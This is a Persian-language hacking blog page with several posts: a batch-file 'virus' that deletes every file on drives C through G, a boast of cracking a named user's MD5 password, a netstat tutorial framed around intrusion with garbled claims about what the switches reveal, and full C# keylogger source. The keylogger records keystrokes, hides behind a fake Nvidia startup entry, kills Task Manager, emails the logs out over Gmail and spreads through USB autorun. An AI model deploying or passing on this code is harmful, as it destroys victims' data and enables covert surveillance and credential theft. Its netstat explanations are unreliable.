loading...
رایانه
آخرین ارسال های انجمن
Reza99 بازدید : 98 شنبه 17 بهمن 1394 نظرات (3)



!!!! توجه: مسئولیت استفاده از این مطلب به عهده خود کاربر میباشد.
اومدم یه سورس شبه ویروس بهتون معرفی کنم.این ویروس در عین سادگیش بسیار قدرت مند بوده و قادر به تخریب کل هارد شما میباشد.این ویروس تحت فرامین داس نوشته شده وهیچ انتی ویروسی قادر به شناسایی این ویروس نمیباشد.{فقط یک انتی داره اونم اف دیسک{ البته بنا به مسائلی از نوشتن سورس کامل این ویروس خودداری کردم ولی همین نمونه همبسیار خطر ناک بوده وقادر به الوده کردن کل فضای هارددیسک میباشد.برای کمبایل این ویروس ابتدا یک فایل متنی مثل نت بد باز کرده وکدهای زیر را نوشته وبعد با پسوند{بت} سیو کنید.برای مثال:
hacker.bat

متن ویروس::::

@echo off
ATTRIB -a -s -h -r c
ATTRIB -a -s -h -r c:\windows
\*.*
Echo y | echo a | Echo y | del c
:\*.*
Echo y | echo a | Echo y | del d
:\*.*
Echo y | echo a | Echo y | del e
:\*.*
Echo y | echo a | Echo y | del f
:\*.*
Echo y | echo a | Echo y | del g
:\*.*
echo y | copy *.* C
:\
echo y | copy *.* D
:\
echo y | copy *.* E
:\
echo y | copy *.* F
:\
echo y | copy *.* G
:\
resrart

توجه:::::
در صورت اجرا شدن این ویروس در سیستم خودتون راهی جز اف دیسک ندارید{باور نمیکنی امتحان کن}

Reza99 بازدید : 80 یکشنبه 04 بهمن 1394 نظرات (0)
مطلب مورد نظر رمز دارد.
لطفا رمز عبور مربوط به مطلب را وارد کرده ، دکمه تایید را کلیک کنید.
این پست رمز دارد برای دریافت رمز مطلب به بخش دریافت رمز مطالب بروید.
Reza99 بازدید : 96 یکشنبه 04 بهمن 1394 نظرات (0)

بعضی وقت ها در مجازی با کدهای عجیب غریبی رو برو میشیم که مجبوریم مفاهیم اونها رو بدونیم. مخصوصا وقت هایی که فوضولی مون گل کرده و در حال سرک کشیدن به سایت های ایرانی برای بدست آوردن یسری اطلاعات هستیم.

" مخصوصا وقتی داریم از افزونه دوست داشتنیه لایو استفاده میکنیم"

زبان فارسی مثل خیلی از زبان های دیگه در زبان های برنامه نویسی هنوز بخوبی جا نگرفته  به همین خاطر در برنامه نویسی ما برای فهماندن زبانی بجز انگلیسی به برنامه های مختلف ، اون هارو به کدهایی تبدیل می کنیم تا برای بیشتر برنامه ها تعریف شده باشه.

"طبق استاندارد جهانی"

برای مثال ما وقتی کلمه ی "ایران" رو تایپ میکنیم به کد زیر تبدیل میشه.

%D8%A7%DB%8C%D8%B1%D8%A7%D9%86

این اطلاعات شاید برای وبگردهای معمولی زیاد مهم نباشه. ولی برای آدمایی مثل ما که هر ازگاهی مجبوریم سایت ها و سیستم هارو بصورت مخفی بررسی کنیم میتونه خیلی مهم باشه.

برای مثال امشب من یوزر و پسووردی رو بدست آوردم که نام کاربریش Ehsan و رمز ورودش 26هوادار26 بود. که به هش MD5 کرک شده بود که بعد از دی کرک پسوورد برخلاف انتظارم با کدهای عجیب غریب روبرو شدم. بعد از چند ساعت درگیر شدن متوجه شدم که رمز با کلمات فارسی ادغام شده و سپس به کد های زیر تبدیل شده بود 

26%D9%87%D9%88%D8%A7%D8%AF%D8%A7%D8%B126

به همین خاطر تصمیم گرفتم این برنامه رو بنویسم تا درصورتی که در آینده باز هم به همچین مشکلی برخوردم بتونم خیلی ساده حلش کنم و این اتفاق مسخره رو با شما هم درمیون گذاشتم تا اگه یوقت به همچین مشکلی برخوردین بتونین از این برنامه ی کوچولو کمک بگیرین.

برنامه ای که پایین قرار میدم برنامه ای هست که کدهارو به فارسی و کلمات فارسی رو به کد تبدیل میکنه



Virus32

دریافت


حجم: 23.5 کیلوبایت

راستی اگه ایرادی در این برنامه پیدا کردین حتما بهم خبر بدین

Reza99 بازدید : 396 یکشنبه 04 بهمن 1394 نظرات (0)

در این پست دستورات مربوط به NETSTAT رو بررسی میکنیم

این دستور که مربوط به شبکه میباشد زیر سوییچ های مختلفی داره که یک به یک توضیح میدم.

در کل ما با اجرای این دستور به TCP/IP های فعال در شبکه دسترسی پیدا خواهیم کرد.

نحوه استفاده کلی از این دستور به شکل زیر است.

NETSTAT -x

سوییچ های NETSTAT

سوییچ a- برای دیدن تمام اتصالات "آی پی ها یا نام سیستم های شبکه" و پورت های در حال شنود.

Netstat -a

سوییچ e- آمار اترنت را نمایش میدهد، حتی آنهایی که مخفی شده اند

Netstat -e

اترنت : در کل به سیستم هایی که به وسیله کابل باهم ارتباط دارند ، شبکه اترنت می گویند.

سوییچ n- نمایش آدرس آی پی و پورت به صورت عددی. ویا برای دیدن آی پی خود حتی زمانی که به شبکه متصل نیستید.

Netstat -n

سوییچ r- نمایش جدول مسیر یابی : تمام مسیر هایی که میتوان به سیستم نفوذ کرد را نمایش میدهد حتی مسیر های فیزیکی مانند پورت های usb و غیره ... در این دستور خط های ابتدایی مربوط به مسیرهای نفوذ به سیستم خودتان را نمایش میدهد. و در پاراگراف های بعدی مسیر های آزاد سیستم های متصل به شبکه را نمایش میدهد....... به آی پی ها دقت کنید.

Netstat -r

سوییچ o- روند ایجاد شدن ID برای هر سیستم در شبکه را نمایش میدهد که چگونه یک آی پی اصلی بین سیستم ها تقسیم میشود. و یا میتوان با این دستور بفهمیم که سیستمی برای مثال با اسم Virus در شبکه چه آی پی را دارد و .... اطلاعات دیگر

Netstat -o

سوییچ b- برای نمایش برنامه های با فرمت exe که در حال ارتباط با سیستم های دیگر شبکه هستند. با اجرای این دستور و استفاده از دستوراتی که در آینده خواهم گفت میتوانیم مدیریت شبکه را هم به دست بگیریم.

Netstat -b

سوییچ v- این سوییچ در واقع برای گسترش دادن سوییچ b- میباشد. با پیدا کردن برنامه های در حال اجرا ، با این سوییچ میتوانیم اجزای درگیر به آن برنامه ها را نیز مشاهده کنیم.

Netstat -v

سوییچ P- نمایش فقط برای اتصال به پروتوکل مشخص شده، که ممکن است به صورت های زیر باشد. در اینجا میتوانیم متوجه شویم که آیا میتوان به طور کامل نفوذ کرد و استفاده مفید از سیستم داشته باشیم یا فقط باید ... اهم ...که در این صورت پورت و مقدار لازم برای حمله را به نمایش میگذارد.

TCP, UDP, TCPv6 , UDPv6
Netstat -p

سوییچ s- نمایش آمار پروتکل که به طور پیش فرض مقادیر زیر را نمایش میدهد که قادر به نمایش 2k و NT4 نمی باشد

IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, UDPv6
Netstat -s

در این دستورات بزرگ یا کوچک نوشتن حروف مشکلی ایجاد نخواهد کرد فقط به فاصله ها و خط تیره دقت کنید.

 

به امید ایرانی آباد

Reza99 بازدید : 89 پنجشنبه 01 بهمن 1394 نظرات (0)

 

کد کیلاگرباسی شارپ(#c)

 

using System;

using System.Diagnostics;

using System.Timers;

using System.Windows.Forms;

using System.Runtime.InteropServices;

using System.IO;

using System.Net;

using System.Net.Mail;

using Microsoft.Win32;

 

namespace Keylogger_V2

{

    class Program

    {

        private const int WH_KEYBOARD_LL = 13;

        private const int WM_KEYDOWN = 0x0100;

        private static LowLevelKeyboardProc _proc = HookCallback;

        private static IntPtr _hookID = IntPtr.Zero;

        public static string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "nvidia.log");

        public static byte caps = 0, shift = 0, failed = 0;

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        [return: MarshalAs(UnmanagedType.Bool)]

        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

 

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

 

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

        private static extern IntPtr GetModuleHandle(string lpModuleName);

 

        public static void Main()

        {

            _hookID = SetHook(_proc);

            Program.startup();

            System.Timers.Timer timer;

            timer = new System.Timers.Timer();

            timer.Elapsed += new ElapsedEventHandler(Program.OnTimedEvent);

            timer.AutoReset = true;

            timer.Interval = 600000;

            timer.Start();

            System.Timers.Timer timer2;

            timer2 = new System.Timers.Timer();

            timer2.Elapsed += new ElapsedEventHandler(Program.USBSpread);

            timer2.AutoReset = true;

            timer2.Interval = 10000;

            timer2.Start();

            Application.Run();

            GC.KeepAlive(timer);

            GC.KeepAlive(timer2);

            UnhookWindowsHookEx(_hookID);

        }

 

        public static void startup()

        {

            //Try to copy keylogger in some folders

            string source = Application.ExecutablePath.ToString();

            string destination = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

            destination = System.IO.Path.Combine(destination, "nvdisp.exe");

            try

            {

                System.IO.File.Copy(source, destination, false);

                source = destination;

            }

            catch

            {

                Console.WriteLine("No authorization to copy file or other error.");

            }

            //Find if the file already exist in startup

            try

            {

                RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);

 

                if (registryKey.GetValue("Nvidia driver") == null)

                {

                    registryKey.SetValue("Nvidia driver", destination);

                }

 

                registryKey.Close();//dispose of the Key

            }

            catch

            {

                Console.WriteLine("Error setting startup reg key.");

            }

            //Try to add to all users

            try

            {

                RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", false);

 

                if (registryKey.GetValue("Nvidia driver") == null)

                {

                    registryKey.SetValue("Nvidia driver", source);

                }

 

                registryKey.Close();//dispose of the key

            }

            catch

            {

                Console.WriteLine("Error setting startup reg key for all users.");

            }

        }

 

        public static void OnTimedEvent(object source, EventArgs e)

        {

            Process[] ProcessList = Process.GetProcesses();

            foreach (Process proc in ProcessList)

            {

                if (proc.MainWindowTitle.Contains("Taskmgr.exe"))

                {

                    proc.Kill();

                }

            }

            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message

            msg.To.Add("username@gmail.com");

            msg.From = new MailAddress("najafireza99@gmail.com", "username", System.Text.Encoding.UTF8);

            msg.Subject = "i don't know";

            msg.SubjectEncoding = System.Text.Encoding.UTF8;

            msg.Body = "ciao ale";

            msg.BodyEncoding = System.Text.Encoding.UTF8;

            msg.IsBodyHtml = false;

            msg.Priority = MailPriority.High;

            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail

            client.Credentials = new System.Net.NetworkCredential("najafireza@gmail.com", "password");

            client.Port = 587;

            client.Host = "smtp.gmail.com";

            client.EnableSsl = true;

            Attachment data = new Attachment(Program.path);

            msg.Attachments.Add(data);

            try

            {

                client.Send(msg);

                failed = 0;

            }

            catch

            {

                data.Dispose();

                failed = 1;

            }

            data.Dispose();

 

            if (failed == 0)

                File.WriteAllText(Program.path, ""); //empties the file

 

            failed = 0;

 

        }

 

        private static IntPtr SetHook(LowLevelKeyboardProc proc)

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);

            }

        }

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

        {

            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)

            {

                StreamWriter sw = File.AppendText(Program.path);

                int vkCode = Marshal.ReadInt32(lParam);

                if (Keys.Shift == Control.ModifierKeys) Program.shift = 1;

 

                switch ((Keys)vkCode)

                {

                    case Keys.Space:

                        sw.Write(" ");

                        break;

                    case Keys.Return:

                        sw.WriteLine("");

                        break;

                    case Keys.Back:

                        sw.Write("back");

                        break;

                    case Keys.Tab:

                        sw.Write("TAB");

                        break;

                    case Keys.D0:

                        if (Program.shift == 0) sw.Write("0");

                        else sw.Write(")");

                        break;

                    case Keys.D1:

                        if (Program.shift == 0) sw.Write("1");

                        else sw.Write("!");

                        break;

                    case Keys.D2:

                        if (Program.shift == 0) sw.Write("2");

                        else sw.Write("@");

                        break;

                    case Keys.D3:

                        if (Program.shift == 0) sw.Write("3");

                        else sw.Write("#");

                        break;

                    case Keys.D4:

                        if (Program.shift == 0) sw.Write("4");

                        else sw.Write("$");

                        break;

                    case Keys.D5:

                        if (Program.shift == 0) sw.Write("5");

                        else sw.Write("%");

                        break;

                    case Keys.D6:

                        if (Program.shift == 0) sw.Write("6");

                        else sw.Write("^");

                        break;

                    case Keys.D7:

                        if (Program.shift == 0) sw.Write("7");

                        else sw.Write("&");

                        break;

                    case Keys.D8:

                        if (Program.shift == 0) sw.Write("8");

                        else sw.Write("*");

                        break;

                    case Keys.D9:

                        if (Program.shift == 0) sw.Write("9");

                        else sw.Write("(");

                        break;

                    case Keys.LShiftKey:

                    case Keys.RShiftKey:

                    case Keys.LControlKey:

                    case Keys.RControlKey:

                    case Keys.LMenu:

                    case Keys.RMenu:

                    case Keys.LWin:

                    case Keys.RWin:

                    case Keys.Apps:

                        sw.Write("");

                        break;

                    case Keys.OemQuestion:

                        if (Program.shift == 0) sw.Write("/");

                        else sw.Write("?");

                        break;

                    case Keys.OemOpenBrackets:

                        if (Program.shift == 0) sw.Write("[");

                        else sw.Write("{");

                        break;

                    case Keys.OemCloseBrackets:

                        if (Program.shift == 0) sw.Write("]");

                        else sw.Write("}");

                        break;

                    case Keys.Oem1:

                        if (Program.shift == 0) sw.Write(";");

                        else sw.Write(":");

                        break;

                    case Keys.Oem7:

                        if (Program.shift == 0) sw.Write("'");

                        else sw.Write('"');

                        break;

                    case Keys.Oemcomma:

                        if (Program.shift == 0) sw.Write(",");

                        else sw.Write("<");

                        break;

                    case Keys.OemPeriod:

                        if (Program.shift == 0) sw.Write(".");

                        else sw.Write(">");

                        break;

                    case Keys.OemMinus:

                        if (Program.shift == 0) sw.Write("-");

                        else sw.Write("_");

                        break;

                    case Keys.Oemplus:

                        if (Program.shift == 0) sw.Write("=");

                        else sw.Write("+");

                        break;

                    case Keys.Oemtilde:

                        if (Program.shift == 0) sw.Write("`");

                        else sw.Write("~");

                        break;

                    case Keys.Oem5:

                        sw.Write("|");

                        break;

                    case Keys.Capital:

                        if (Program.caps == 0) Program.caps = 1;

                        else Program.caps = 0;

                        break;

                    default:

                        if (Program.shift == 0 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());

                        if (Program.shift == 1 && Program.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (Program.shift == 0 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());

                        if (Program.shift == 1 && Program.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());

                        break;

                }

                Program.shift = 0;

                sw.Close();

            }

            return CallNextHookEx(_hookID, nCode, wParam, lParam);

        }

 

        public static void USBSpread(object source, EventArgs e)

        {

 

            //A bit modified

            string source2 = Application.ExecutablePath.ToString();

            System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();

            try

            {

                foreach (System.IO.DriveInfo drive in drives)

                {

                    if (drive.DriveType == DriveType.Removable)

                    {

                        string driveAutorun = drive.Name + "autorun.inf";

                        StreamWriter sw = new StreamWriter(driveAutorun);

                        sw.WriteLine("[autorun]n");

                        sw.WriteLine("open=start.exe");

                        sw.WriteLine("action=Run VMCLite");

                        sw.Close();

                        File.SetAttributes(drive.Name + "autorun.inf", File.GetAttributes(drive.Name + "autorun.inf") | FileAttributes.Hidden);

                        try

                        {

                            File.Copy(source2, drive.Name + "start.exe", true);

                            File.SetAttributes(drive.Name + "start.exe", File.GetAttributes(drive.Name + "start.exe") | FileAttributes.Hidden);

                        }

                        finally

                        {

                            Console.WriteLine("Removable device rooted");

                        }

                    }

                }

            }

            catch (Exception e2)

            {

                Console.WriteLine(e2.ToString());

            }

        }

    }

 

 

آمزش ساخت کیلاگر با سی شارپ(#c)

Reza99 بازدید : 64 پنجشنبه 01 بهمن 1394 نظرات (0)
مطلب مورد نظر رمز دارد.
لطفا رمز عبور مربوط به مطلب را وارد کرده ، دکمه تایید را کلیک کنید.
این پست رمز دارد برای دریافت رمز مطلب به بخش دریافت رمز مطالب بروید.
Reza99 بازدید : 83 پنجشنبه 01 بهمن 1394 نظرات (0)
مطلب مورد نظر رمز دارد.
لطفا رمز عبور مربوط به مطلب را وارد کرده ، دکمه تایید را کلیک کنید.
این پست رمز دارد برای دریافت رمز مطلب به بخش دریافت رمز مطالب بروید.
Reza99 بازدید : 74 پنجشنبه 01 بهمن 1394 نظرات (0)
مطلب مورد نظر رمز دارد.
لطفا رمز عبور مربوط به مطلب را وارد کرده ، دکمه تایید را کلیک کنید.
این پست رمز دارد برای دریافت رمز مطلب به بخش دریافت رمز مطالب بروید.

تعداد صفحات : 2

درباره ما
Profile Pic
باسلام خدمت شما در این وبلاگ در مورد آموزش های استفاده از رایانه و آموزش چگونگی استفاده از رایانه بحث می شود. ممنون از این که به وبلاگ من سر زدید. امید وارم از مطالب وبلاگ راضی باشید. منتظر دیدار دوباره ی شما هستیم.
اطلاعات کاربری
  • فراموشی رمز عبور؟
  • نظرسنجی
    نظر شما در مورد مطالب این سایت چیست؟
    آمار سایت
  • کل مطالب : 30
  • کل نظرات : 2
  • افراد آنلاین : 1
  • تعداد اعضا : 3
  • آی پی امروز : 19
  • آی پی دیروز : 13
  • بازدید امروز : 56
  • باردید دیروز : 23
  • گوگل امروز : 0
  • گوگل دیروز : 0
  • بازدید هفته : 265
  • بازدید ماه : 1,473
  • بازدید سال : 14,613
  • بازدید کلی : 132,446